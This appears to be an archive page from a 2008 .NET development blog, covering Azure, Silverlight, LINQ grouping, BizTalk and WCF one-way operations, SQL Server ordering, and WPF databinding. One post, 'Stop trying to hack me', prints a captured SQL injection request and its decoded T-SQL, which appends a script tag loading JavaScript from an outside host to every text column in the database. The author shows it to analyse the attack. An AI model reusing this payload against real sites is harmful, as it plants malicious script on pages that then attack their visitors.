Skip Navigation LinksHome
Windows Azure PoC for the RNLI

There can be no arguing that Microsoft has to be one of the best companies to work for and I realize that I'm very lucky to what I do. Earlier this year I got to help build a WPF User Interface for the amazing Aston Martin DBS as part of a proof of concept in the Microsoft Technology Centre in the UK.

Just recently I got to go back to the MTC and work on another proof of concept, but this time for the RNLI and their chosen Microsoft Partner, Active Web Solutions. Even better it was working on the then top secret Windows Azure platform (at the time it was known internally as Red Dog, hence the red shoes during the keynote at the PDC recently).

My focus during this PoC was on getting operational information out of the system (yes, more logging!) so that we could undertake post-mortem on activities and understand what was really going on in the cloud. Needless to say, it was a lot of fun and I'm genuinely excited about the Azure platform.

However, there are going to be challenges for Architects and Developers as they build systems in the cloud and these were what made the PoC really interesting.

My good friend Neil Kidd, who was the architect for the Proof of Concept, and Richard Prodger (Technical Director at AWS) talk about the MOB Guardian system and the challenges they faced in this video on channel 9:


Cloud services scale life critical system

It's definitely worth watching this if you're interested in Azure and want to get ahead in understanding the unique challenges and opportunities utility computing with Azure presents.

Josh Post By Josh Twist
3:35 AM
01 Nov 2008
Silverlight 2 File Uploader: Final!

As I'm sure you've already heard, Silverlight 2 has released (Tim Heuer has a great post here where DEVs can find everything they need to get started). And it's good news. Privately, I was a little dissapointed with the Beta 2 release, finding it very buggy and obstructive to work with. Fortunately, the Silverlight team have pulled out all the stops to make this a solid release and have even added some nice extras since Beta 2 for good measure.

To put the RTW version through its paces I set about converting my beta 2 based file upload control - and refactored to how I would have liked it to be structured in the first place but couldn't because I had to work around the bugs in Beta 2.

The two biggest changes are:

  • Implementation of a ViewModel pattern to get the most out of SL2's databinding
  • Use of the new ProgressBar

And here it is (this is the dummy version that doesn't actually upload files, just pretends to as a demonstration).

As mentioned above, this time I used the new ProgressBar control to show, er, progress! However, I liked the look and feel of the Beta 2 version I created so I used the re-templating functionality to make the ProgressBar look how I wanted it to.

Exciting times. Here's the code - as with all demos posted to this site, your own mileage may vary. Enjoy

Josh Post By Josh Twist
2:54 AM
17 Oct 2008
LINQ group by query with projection

This post falls into the category of being posted for my own future reference - hopefully you'll find it useful too (and apologies to regular readers for the recent silence on theJoyOfCode.com - I've been away on holiday).

I was recently working on a project and had the need to write a LINQ query (this is good old L2O, or Linq-to-objects) that grouped some objects together. If this were SQL (which it isn't) the table might have looked like this:

NameDeptStartDate
Bill BloggsHR1976-06-11
Barry WilliamsHR2000-08-02
Terry DickinsIT2007-11-20
Andy RobinsonIT2006-10-01

An I wanted to group by department, selecting the earliest StartDate. The T-SQL to do so may have looked like this:

SELECT Dept, MIN(StartDate)
    FROM Employees
    GROUP BY Dept

That was easy enough. Now, what if my Employees table was really a List of Employee objects, each with a Name, Dept and StartDate property?

var groups = from emp in employees
             group emp by emp.Dept into g
select new { Dept = g.Key, StartDate = g.Min(e => e.DateTime) };

Hmmm.... not so easy peasy. One of the reasons I'm a big fan of LINQ is that I think it often makes your intent clearer. I'm really not sure that that is the case here but perhaps that is just because we're not as used to it yet.

Let's look at the query and dissect it line by line.

var groups = from emp in employees

That's easy enough - we're creating an anonymous type called groups by selecting from the employees collection of objects.

group emp by emp.Dept into g

Now we're saying we want to create groups of employees by bunching together employees with the same Dept property. This effectively creates a new 'g' variable that will hold the groups in question. The g variable is another IEnumerable, as you'd expect, but it also offers a Key property, which in this case is the Dept property of its employees.

select new { Dept = g.Key, StartDate = g.Min(e => e.StartDate) };

Here we create our 'projection' - a new anonymous type with a Dept property (the key of the group) and a StartDate property where we use a Lambda on g to select the minimum start date of that particular group.

Nice.

Josh Post By Josh Twist
5:19 AM
06 Oct 2008
How to use Ukadc.Diagnostics with Trace and Debug

I had an interesting comment from 'Grd' the other day asking:

"How can we make Ukadc.Diagnostics to pick up the trace written by System.Diagnostics.Trace.WriteLine?"

There are two ways to do this, you can add the listeners programmatically like so:

Trace.Listeners.Add(
    new Ukadc.Diagnostics.Listeners.ConsoleTraceListener("Message: {Message}"));

Easy peasy. Even better, you can wire the listeners in config like so:

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
    <system.diagnostics>
        <trace>
            <listeners>
                <add name="cons" type="Ukadc.Diagnostics.Listeners.ConsoleTraceListener, Ukadc.Diagnostics" initializeData="Message: {Message}" />
            </listeners>
        </trace>
    </system.diagnostics>
</configuration>

And then wherever you call Trace.WriteLine etc

Trace.WriteLine("Hello");

You can wire this up to any of the Ukadc.Diagnostics listeners (and therefore filters).

However, there is one big caveat...

When calling Trace.WriteLine and Debug.WriteLine the TraceEventCache isn't populated. I'm not sure why, but it isn't - so that means that the following tokens will fail: {DateTime}, {Callstack}, {ProcessId}, {ThreadId} and {Timestamp}. At the moment I'm considering ways to mitigate this and I've just checked in some changes that prevent the failure such that these tokens just return blanks. However, I am considering just foregoing the TraceEventCache altogether as there's no reason we can't source this information ourselves. If you think this is a good idea, be sure to vote for this feature on the Issue Tracker.

Josh Post By Josh Twist
7:11 AM
09 Sep 2008
BizTalk News

In case you've missed it, there's a been a raft of BizTalk vNext announcements recently. In my last post I referred to BizTalk 2006 R3. Well, turns out R3 is dead. Long live BizTalk Server 2009.

The BizTalk team have now published a very clear Roadmap which talks about where we were, where we are and where we are going. I was particularly interested to note this in the BizTalk Server and "Oslo" and .NET:

"In response to customer feedback, we are committed to continued support for BizTalk Server’s XLANG orchestration technology - the existing BizTalk orchestration engine. Additional support for WF will be prioritized for the coming releases based upon customer demand and scenarios".

Steven Martin has a good post: BizTalk Server 2009 in which he says we're still on track for a first half of Calendar Year 2009 for the BTS 2009 release.

He also linked to a PressPass interview with Oliver Sharp who's the general manager of BizTalk Server: Q&A: What’s Next for BizTalk Server.

Josh Post By Josh Twist
12:29 PM
07 Sep 2008
BizTalk 2006 R2 in no one-way support for WCF shocker

As promised, here's the follow up to my earlier post One Way operations in services.

It came as a shock to me recently to discover that BizTalk 2006 R2 (which added support for WCF to BizTalk 2006) doesn't support WCF one-way operations over anything other than MSMQ. This post by Sonu has some of the details: WCF One Way Services and BizTalk WCF Adapter.

"All WCF clients and services that communicate with the BizTalk WCF adapter are expected to be two way, with the exception of services that use NetMsmqQueueBinding. For every other binding, BizTalk expects a void response back from the service (or a non-void response if using a two-way send port). This is so that BizTalk knows when to delete the message from the Message Box and thereby ensuring no message loss."

This is a tiny bit disappointing as BizTalk has long supported one-way operations with ASMX endpoints. One of the things I've always liked about BizTalk is how it encourages loose-coupling. For example, if I design an orchestration that receives a message from one system, does some work and sends a message to another system.

BizTalk Orchestration

At this point I don't care about the adapter, transport or protocol implemented behind those ports; it might be a file, it might be a web service or it might be MSMQ. This is a good thing.

As an example I took the orchestration shown above which has a one-way receive port and a one-way send port. I decided to publish an ASMX service for the receive port and configure a file-adapter for the send port. And it works just as expected: I fire a HTTP web service request at an ASMX end point and get an instant acknowledgment. Some time later, a file appears at the location specified by my file adapter. Happy days.

Now lets assume I want to add a WCF endpoint to expose this orchestration. I follow a similar process as when hosting an ASMX endpoint but this time using the BizTalk WCF Service Publishing Wizard:

BizTalk WCF Service Publishing Wizard

As you can see from the screenshot above, the wizard has even recognised the one-way receive port in my orchestration and is ready to publish it. Great. Once published - I can even see the WSDL. Beautiful.

WCF WSDL file

However, it's only when we try to call the service method and get a soap fault that we know something is wrong:

"The published message could not be routed because no subscribers were found. This error occurs if the subscribing orchestration or send port has not been enlisted, or if some of the message properties necessary for subscription evaluation have not been promoted. Please use the Biztalk Administration console to troubleshoot this failure."

The other clue is the freshly suspended (non-resumable) message. Boo.

Suspended Messages

So what if I want to use WCF as a receive port with this orchestration? I can see two choices. 1. Change the orchestration to have a request/response port and send back some null/void message. BizTalk doesn't really deal in voids so I created a new XmlSerializable class called void that I could use as my response, it's as simple as this:

[XmlRoot(ElementName = "Void", Namespace = Void.NAMESPACE)]
public class Void
{
    private const string NAMESPACE = "urn:schemas-yourcompany-void:2008-08";
}

Here's what such an orchestration might look like:

BizTalk Orchestration With Request Response Port

I don't like this for two reasons; the orchestration had to change (and therefore became protocol/adapter aware and we effectively lost our loose coupling that I like so much) and the client will get a much slower response. 2. Create a WCF wrapper hosted in IIS that isn't directly connected to BizTalk and can therefore support one-way operations. Then talk directly to another adapter (e.g. SOAP) that does support one-way ports in BizTalk.

What about performance?
Whilst the first solution does take longer to respond to the client (whilst BizTalk writes to the MsgBox, reads from the MsgBox, starts the orchestration, writes to the MsgBox and so on....) the latter solution does waste some cycles deserializing and reserializing messages but it would respond to the client much more quickly and keeps the abstraction intact. However, chances are you wanted to use a WCF based adapter for a reason, maybe WCF's support for distributed transactions. Of course, this would rule out wrapping a SOAP adapter as an option.

I really hope the lack of one-way support will be fixed in future combinations of BizTalk and WCF (though my personal guess would be this won't happen in the R3 timeframe) as BizTalk has the ideal mechanism for guaranteed delivery just like MSMQ - once the message has been written to the Message Box it's been delivered; time to send our 202 back to our client.

Josh Post By Josh Twist
10:01 PM
01 Sep 2008
Guaranteeing the order of results in SQL Server

It's a common misconception that SQL Server will return data in the order of the clustered index in the absence of an ORDER BY clause. So common that many developers have come to rely upon this fact and, whilst this assumption might seem to reliable, it is far from guaranteed.

So let's be 100% clear on this: if you need your data in a certain order then specify an ORDER BY clause. If you don't, the one time the data doesn't come back in the same order you've seen a billion times before will be when you least expect it. For example, when you roll out your heavily tested system to live!

Why is this?

David Portas talks about this in his post The Facts About Clustered Indexes:

"A query against a clustered table won't always scan the clustered index. Even when it does, the scan isn't necessarily ordered. One reason is that the query may be executed in parallel over multiple processors which then merge their results. Another is that the optimizer may choose to perform an unordered scan using the Index Allocation Map rather than scanning the leaf pages in order."

Pinal Dave talks about it in his post Order of Result Set of SELECT Statement on Clustered Indexed Table When ORDER BY is Not Used

"SQL Server does not use that logic when returning the resultset. SQL Server always returns the resultset which it can return fastest. In most of the cases the resultset which can be returned fastest is the resultset which is returned using clustered index."

"There are few incidence I have observed that, when parallelism is used to return the query results, many times due to different speed and work load on different CPU the resultset is not according to clustered index. SQL Server Parametrization and SQL Server cache can return the results which are not built by clustered index."

However, I was worried about the lack of Microsoft documentation on this matter and contacted Conor Cunningham who's an Architect on the SQL Server Core Engine. Fortunately, Conor has responded with a great post. Surely the case is closed on this one: use an ORDER BY!

Check out his post No Seatbelt - Expecting Order without ORDER BY.

He even provides a walkthrough example that proves the point. Thanks Conor.

Josh Post By Josh Twist
8:34 AM
29 Aug 2008
Explore Stack Trace in Resharper

I've been using Resharper for a couple of weeks now and, whilst it takes some getting used to, I'm just about starting to enjoy some significant productivity increases. I have to find some time to go through the settings properly and enable/disable the bits I like/don't like but on the whole the experience is positive. Especially when I found this little beauty.

You know how it is. You're debugging your code and some exception get thrown deep in the heart of some code you don't own and your left to unpick the exception. You click 'view details' and get this dialog that contains a mucky stack trace:

View Exception Details

Nightmare. We've all been there. I usually end up cutting and pasting the stack trace into Notepad so I can read it. But now, all I have to do is copy the stack trace to the clipboard and choose the "Explore Stack Trace" option from the Resharper menu:

Resharper Menu

And bingo! Look at that:

Resharper's Explore Stack Trace Dialog

I can even click on the links to jump to appropriate piece of code. Nice.

Josh Post By Josh Twist
3:46 AM
28 Aug 2008
Stop trying to hack me

I had a huge list of errors in my blogs log this morning and they all had something very unusual in common: a request url that looked like this:

/Archive.aspx?month=8&year=2008';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x444 ... snipped for brevity ... 36F72 %20AS%20CHAR(4000));EXEC(@S);

At first it just looked like noise, but a second look revealed a few interesting pieces. Most telling is the single quote added to a querystring value which is a sure sign someobody's having a go at some SQL injection. Naughty.

I was kind of impressed that the malign chap had gone to the trouble of obfuscating the SQL by embedding the majority of his script in hex. However, a careful C&P to SQL Query analyzer allowed me (being sure not to execute the EXEC(@S) part of the query).

DECLARE @S CHAR(4000);
SET @S = CAST( 0x444 ... snipped for brevity ... 36F72 AS CHAR(4000));
PRINT @S;

Which revealed:

DECLARE @T varchar(255), @C varchar(4000)
DECLARE Table_Cursor CURSOR
    FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
    OPEN Table_Cursor
    FETCH NEXT FROM Table_Cursor INTO @T,@C
        WHILE(@@FETCH_STATUS=0)
            BEGIN
            exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://www2.1000ylc.cn/csrss/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://www2.1000ylc.cn/csrss/w.js"></script><!--''')
            FETCH NEXT FROM Table_Cursor INTO @T,@C
            END
    CLOSE Table_Cursor
    DEALLOCATE Table_Cursor
    
Ooh nasty! The culprit must be targetting blogs (and/or other sites that store HTML content directly in the database) and is trying to squirt in a script link to some content he has hosted on a server somewhere. A kind of SQL/XSS hybrid attack.

This reminded me of one of my favourite articles on SQL injection by Michael Sutton called How Prevalent Are SQL Injection Vulnerabilities?.

In it he describes an idea to discover websites that are vulnerable to SQL injection using the google API, the results are particularly interesting:

Initial population of URLs1000
Population after removal of duplicate servers732
Population after removal of failed requests708
Total number of verbose SQL errors80
Percentage of sample web sites potentially vulnerable to SQL injection attacks11.3%

Scary. If you're not familiar with SQL Injection check out the wikipedia entry.

Josh Post By Josh Twist
4:40 AM
21 Aug 2008
One Way operations in services

So what exactly is a 'one-way' operation in web service terms? Perhaps most-importantly, what isn't it? It isn't a fire-and-forget operation like a UDP broadcast where you have no idea whether your message was successfully delivered, let alone processed by the recipient.

The first incarnation of .NET web services, commonly referred to as ASMX, supported one-way operations. All you had to do was decorate the WebMethod with an additional SoapDocumentMethod attribute and set the OneWay property to true. And because the method is one-way, it can't return any data and has to be marked void.

[WebMethod]
[SoapDocumentMethod(OneWay=true)]
public void DoSomething()
{
    // Simulate some work
    Thread.Sleep(10000);
}

We can do exactly the same thing in WCF.

[OperationContract(IsOneWay=true)]
void DoSomething()
{
    // Simulate some work
    Thread.Sleep(10000);
}

So what is the difference between this and a method not marked OneWay? Let's have a look at the response when we invoke a normal, request-response, service method:

ResponseCode: 200 (OK)
Connection:Close
Content-Length:140
Cache-Control:private
Content-Type:text/xml; charset=utf-8
Date:Tue, 19 Aug 2008 07:56:52 GMT

<?xml version="1.0" encoding="utf-16"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <DoSomethingResponse xmlns="http://tempuri.org/" />
  </s:Body>
</s:Envelope>
Cool - so that's what a void response looks lke in SOAP. And what about when we invoke the one-way service method?
ResponseCode: 202 (Accepted)
Connection:Close
Content-Length:0
Cache-Control:private
Date:Tue, 19 Aug 2008 08:00:19 GMT
Server:ASP.NET Development Server/9.0.0.0
X-AspNet-Version:2.0.50727
In this case we just receive a HTTP code 202 to say our message has been accepted. Thanks!

It's important to note that one-way calls aren't some magical little-known part of the HTTP protocol that IIS takes care of. In fact, they aren't 'one way' at all. The processing framework, in this case ASP.NET or WCF, is responsible for sending that 202 response code. Also, both requests look identical - there isn't any special way of making a one-way HTTP request.

There was of course one other big difference: the one-way service call returned about 10 seconds quicker! This is because a one-way service call doesn't wait for the call to be processed, only to be delivered - where delivery includes deserialization of the request. Once this has happened ASP.NET (for asmx) or WCF send the response and start processing the operation on a separate thread.

Thus one-way calls are useful for scenarios where you want to be sure that the message was delivered, but don't care (at least at this stage) whether the message was successfully processed or not.

One way operations are commonly used in asynchronous enterprise integration patterns. In fact, when using MSMQ based bindings with WCF your operations have to be marked as one-way operations. This is particularly powerful when used with a transactional MSMQ store which is durable. Therefore I know that when my message has been 'delivered' and is stored safely waiting to be received by the asynchronous recipient.

Next we'll talk about one-way operations and BizTalk R2.

Josh Post By Josh Twist
5:12 AM
20 Aug 2008
theJoyOfCode in PC Pro Magazine

PC Pro CoverI probably shouldn't post things like this but I've been reading PC Pro for years and years now so to see a screenshot of theJoyOfCode.com in the latest issue was just too grand an occasion for it to pass without note.

Issue 168 (October 2008) talks about Silverlight, databinding and DeepZoom and has a screenshot of the Silverlight Databinding Cornucopia post:

theJoyOfcode.com in PC Pro

Cool.

Josh Post By Josh Twist
4:31 AM
19 Aug 2008
Rulesets on Operations in WCF with Validation Application Block

In my last post I introduced the WCF integration in the Validation Application Block from the Patterns and Practices team at Microsoft. I mention at the end that I would like the ability to specify individual Rulesets to each operation within a ServiceContract.

Let's start by examining the ValidationBehavior and ValidationBehaviorAttribute in the Validation.Integration.WCF project in EntLib 4.0.


public class ValidationBehavior : IEndpointBehavior, IContractBehavior
{    
    // Details excluded
}

[AttributeUsage(AttributeTargets.Class | AttributeTargets.Interface,
Inherited = false, AllowMultiple = false)]
public class ValidationBehaviorAttribute : Attribute, IEndpointBehavior, IContractBehavior
{
    // Details excluded
}

The first thing to notice is that the ValidationBehavior implements the IContractBehavior interface which "Implements methods that can be used to extend run-time behavior for a contract in either a service or client application.".

WCF also supports implementing the IOperationBehavior interface which "Implements methods that can be used to extend run-time behavior for an operation in either a service or client application.". This seems like what I am looking for, so off we go and add this interface to both the ValidationBehavior class and the ValidationBehaviorAttribute class.


public class ValidationBehavior : IEndpointBehavior, IContractBehavior, IOperationBehavior
{
    // Details excluded
}

[AttributeUsage(AttributeTargets.Class | AttributeTargets.Interface,
Inherited = false, AllowMultiple = false)]
public class ValidationBehaviorAttribute : Attribute, IEndpointBehavior, IContractBehavior, IOperationBehavior
{
    // Details excluded
}

The methods you have to implement when adding this Interface are surprisingly similar to the methods in the IContractBehavior interface so I am not even going to describe it in this post. For those of you who would like to try this, just download the source files that are available from the link at the end of this post.

Now the second thing to notice is that the ValidationBehaviorAttribute's AttributeUsage does not include AttributeTargets.Method. So let's add this one too. The final version of the two class definitions look like this:


public class ValidationBehavior : IEndpointBehavior, IContractBehavior, IOperationBehavior
{
    // Details excluded
}

[AttributeUsage(AttributeTargets.Class | AttributeTargets.Interface | AttributeTargets.Method,
Inherited = false, AllowMultiple = false)]
public class ValidationBehaviorAttribute : Attribute, IEndpointBehavior, IContractBehavior, IOperationBehavior
{
    // Details excluded
}

If you remember my example from the previous post, I am now able to specify a different Ruleset to run on each operation. Tidy!


[ServiceContract]
public interface IValidationService
{
    [OperationContract]
    [ValidationBehavior("Update")]
    [FaultContract(typeof (ValidationFault))]
    void Update(Customer customer);

    [OperationContract]
    [ValidationBehavior("Create")]
    [FaultContract(typeof (ValidationFault))]
    CustomerKey Create(Customer customer);
}

[DataContract]
public class Customer
{
    [DataMember]
    [NotNullValidator(Ruleset = "Update")]
    public string Id { get; set; }

    [DataMember]
    [StringLengthValidator(1, RangeBoundaryType.Inclusive, 20, RangeBoundaryType.Inclusive, MessageTemplate = "Firstname must be between 1 and 20.", Ruleset = "Update")]
    [StringLengthValidator(1, RangeBoundaryType.Inclusive, 20, RangeBoundaryType.Inclusive, MessageTemplate = "Firstname must be between 1 and 20.", Ruleset = "Create")]
    public string FirstName { get; set; }

    [DataMember]
    [StringLengthValidator(1, RangeBoundaryType.Inclusive, 20, RangeBoundaryType.Inclusive, MessageTemplate = "Username must be between 1 and 20.", Ruleset = "Create")]
    public string UserName { get; set; }
}

If you would like this kind of control yourself, go to EntLib on Codeplex and view the issue that I added and download the source. I would also appreciate if you give it a vote so we can see this in a future release of EntLib.

Bruusi Post By Bruusi
6:02 AM
18 Aug 2008
Validation Application Block and WCF

We are using the Validation Application Block (VAB) from the Patterns and Practices team at a project I am currently working on. I haven't had a look at this for a while and I was very impressed with the integration they have with WCF in EntLib 4.0.

Consider the following service and data contract:


[ServiceContract]
public interface ICustomerRepositoryService
{
    [OperationContract]
    void Update(Customer customer);

    [OperationContract]
    string Create(Customer customer);
}

[DataContract]
public class Customer
{
    [DataMember]
    public string Id { get; set; }

    [DataMember]
    public string FirstName { get; set; }

    [DataMember]
    public string UserName { get; set; }
}

If I want to make sure that FirstName is validated to be between 1 and 20 I simply have to add a StringLengthValidator to the FirstName property and a ValidatorBehavior to the contract interface. I also have to specify a FaultContract of type ValidationFault on the operations which are to be validated.


using Microsoft.Practices.EnterpriseLibrary.Validation.Integration.WCF;
using Microsoft.Practices.EnterpriseLibrary.Validation.Validators;

[ServiceContract]
[ValidationBehavior]
public interface ICustomerRepositoryService
{
    [OperationContract]
    [FaultContract(typeof (ValidationFault))]
    void Update(Customer customer);

    [OperationContract]
    [FaultContract(typeof (ValidationFault))]
    string Create(Customer customer);
}
// class code omitted for brevity

[DataMember]
[StringLengthValidator(1, RangeBoundaryType.Inclusive, 20, RangeBoundaryType.Inclusive, MessageTemplate = "Firstname must be between 1 and 20.")]
public string FirstName { get; set; }

This will work out of the box, no configuration required. Sweet!

VAB has a lot of great features which I am not going to cover in detail in this post but one of the features is that you can specify Ruleset's. This enables you to group rules together and to ultimately run different rules for different scenarios.

So in the end my contract definition looks like this:


[ServiceContract]
[ValidationBehavior]
public interface IValidationService
{
    [OperationContract]
    [FaultContract(typeof (ValidationFault))]
    void Update(Customer customer);

    [OperationContract]
    [FaultContract(typeof (ValidationFault))]
    CustomerKey Create(Customer customer);
}

[DataContract]
public class Customer
{
    [DataMember]
    [NotNullValidator(Ruleset = "Update")]
    public string Id { get; set; }

    [DataMember]
    [StringLengthValidator(1, RangeBoundaryType.Inclusive, 20, RangeBoundaryType.Inclusive,
        MessageTemplate = "Firstname must be between 1 and 20.", Ruleset = "Update")]
    [StringLengthValidator(1, RangeBoundaryType.Inclusive, 20, RangeBoundaryType.Inclusive,
        MessageTemplate = "Firstname must be between 1 and 20.", Ruleset = "Create")]
    public string FirstName { get; set; }

    [DataMember]
    [StringLengthValidator(1, RangeBoundaryType.Inclusive, 20, RangeBoundaryType.Inclusive,
        MessageTemplate = "Username must be between 1 and 20.", Ruleset = "Create")]
    public string UserName { get; set; }
}


It is quite self explanatory what I want to do; On Create I want to make sure FirstName is specified and between 1 and 20 characters and that the customer has entered a username. The Id is not necessary since I am creating the customer. On the other hand when I Update the customer I need the Id, but the UserName is not necessary as this should not be updated. Nice and easy...

Now comes the only limitation that I would love to see in a future release of EntLib: The ruleset you wish to run you can only specify at the service contract level by adding a Ruleset parameter to the [ValidationBehavior] attribute. I would like to be able to specify different rulesets on different service operations to allow for even greater granularity.

In the next post I will describe how easy it is to add this feature to the EntLib implementation of the [ValidatorBehavior].

Bruusi Post By Bruusi
12:55 AM
15 Aug 2008
Avoiding Primitive Obsession to tip developers into the pit of success

Perhaps the wooliest blog post title I've posted in a while, so bear with me. Imagine a component that uses strings as parameters. Not too hard, right?

Have you ever created a list of string constants for use with such a component? Something like this:

public static string CommandNames
{
    public const string ProfileCommand = "ProfileCmd";
    public const string WebExecuteCommand = "WebExecuteCommand";
}

Of course you have. But how can you do your best to encourage other developers to use these constants instead of hardcoding the strings when using the API?

P.S. Don't get too hung up on the details of this example, I had to make up an API.
A common approach that solves these problems is to remove the use of the primitive (in this case a string) and use a specific class. Maybe a CommandName class something like this:

public class CommandName
{
    public static CommandName Create(string name)
    {
        return new CommandName() { Name = name };
    }

    private CommandName()
    {}

    public string Name { get; private set; }
}

And we could have a CommandNames static class that exposes the appropriate objects


public static string CommandNames
{
    public static readonly CommandName ProfileCommand = CommandName.Create("ProfileCmd");
    public static readonly CommandName WebExecuteCommand = CommandName.Create("WebExecuteCommand");
}

Now all we have to do is modify the API to no longer accept a string and only accept a CommandName, i.e.

public void ExecuteCommand(string commandName)

... becomes...

public void ExecuteCommand(CommandName commandName)

This is fine if you own the API. If not, you'll probably have to wrap the existing one. However, another developer is now much less likely to hardcode a string where the API is used and will hopefully use your static CommandNames. You can even enforce this by making the static Create method internal and embedding the CommandNames class inside the same assembly (or adding an InternalsVisibleTo attribute to the assembly).

If you do decide to lock down the capability to create new CommandName objects then beware that you've now limited use of the ExecuteCommand API. I find that the mere avoidance of exposing a plain string is enough to make a developer think before embedding a string. As always, your own mileage may vary.

Josh Post By Josh Twist
7:24 AM
14 Aug 2008
Databinding to property bags and dictionaries in WPF

My colleague Darren 'BizTalk' 'Cloud' Jefford has been playing around with a bit of WPF recently incorporating it into some of his demos that show off the latest in our cloud based offerings, such as SQL Server Data Services (SSDS).

Data items stored in SSDS, or entities as they're called, are effectively property bags (or dictionaries) and therefore in .NET you access their properties using indexers. Here's an example LINQ query looking for entities where the number of copies sold is less than 1000.

from e in entities
where e["NumberOfCopiesSold"] < 1000
select e;

He wanted to know if was possible databind to an SSDS entity in WPF? How would you specify an indexer property?

et voila:

<TextBox Text="{Binding [NumberOfCopiesSold]}" />

In this instance the DataContext of the TextBox in question. What if an entity was a property of the current DataContext itself, maybe named MyEntityProperty?

<TextBox Text="{Binding MyEntityProperty[NumberOfCopiesSold]}" />

This technique also works fine with numeric indexers including those on arrays

<TextBox Text="{Binding MyArray[3]}" />

Nice - but there is a caveat. There is no notification support for indexers so if you programmatically change the value of your MyEntityProperty[NumberOfCopiesSold] like so...

_myDataContextObject.MyEntityProperty["NumberOfCopiesSold"] = 12;

... the UI won't automatically react to this change.

Also, note that there's no support for this binding syntax in Silverlight 2 either.

For an intro on WPF databinding check out this post: Reason 2 - Databinding

Josh Post By Josh Twist
6:48 AM
13 Aug 2008